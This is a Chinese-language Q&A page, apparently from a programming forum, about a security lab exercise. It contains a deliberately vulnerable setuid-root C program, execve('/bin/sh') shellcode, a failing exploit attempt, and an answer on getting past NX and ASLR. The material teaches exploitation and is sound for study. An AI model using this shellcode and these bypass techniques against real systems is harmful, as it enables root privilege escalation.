缓冲区漏洞问题 - 生成Shell

时间:2015-11-11 05:04:40

标签: c security buffer-overflow

我有一个实验室作业,我被困在了。我必须利用缓冲区溢出来生成具有root权限的shell。有两个独立的C文件:stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
 {
char buffer[24];
strcpy(buffer,str);
return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

和exploit.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

我只能编辑exploit.c。这是我所做的编辑:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(&buffer[486], shellcode);
long *ptr = (long *)(buffer+36);
*ptr = &shellcode;
buffer[sizeof(buffer)-1] = '\0';
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

我用来实现这个的命令是:

$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

当我调用stack时,这应该将返回地址替换为shell。 Exploit编译并运行得很好,但是当我进入堆栈时,它会出现分段错误。我知道它读入文件并分配所有值,但我不知道为什么它不会被重定向到shellcode到达该地址。有谁知道为什么它可能不会生成shell?

1 个答案:

答案 0 :(得分:-1)

我只是指出了这个实验室作业的一些重要事项。

首先,您必须知道您使用的漏洞。

的shellcode

strcpy(&buffer[486], shellcode);
long *ptr = (long *)(buffer+36);
*ptr = &shellcode;
buffer[sizeof(buffer)-1] = '\0';

在此代码中,您想要更改shellcode的返回地址 但是shellcode地址在堆栈上,你在这里填写的返回地址是全局变量的地址叫做“shellcode”,实际上并不是堆栈上的地址。

如果要返回shellcode,则必须禁用NX位。 因为shellcode地址在堆栈上,所以堆栈内存区域是不可执行的。

有关NX位的更多信息,请访问:https://en.wikipedia.org/wiki/NX_bit

您必须使用以下选项编译您的stack.c

gcc -o stack -fno-stack-protector -z execstack stack.c

您可以使用名为checksec的工具检查您的程序保护。 对不起,我的声望太低,不能发布2个以上的链接。 请goolgle checksec。 而你必须征服ASLR保护。 一种方法是将shellcode设置为stack.c中的全局变量。 并且全局变量的地址是固定的。

您可以在此处找到有关ASLR的更多信息:https://en.wikipedia.org/wiki/Address_space_layout_randomization

如果你仍然坚持,欢迎问我。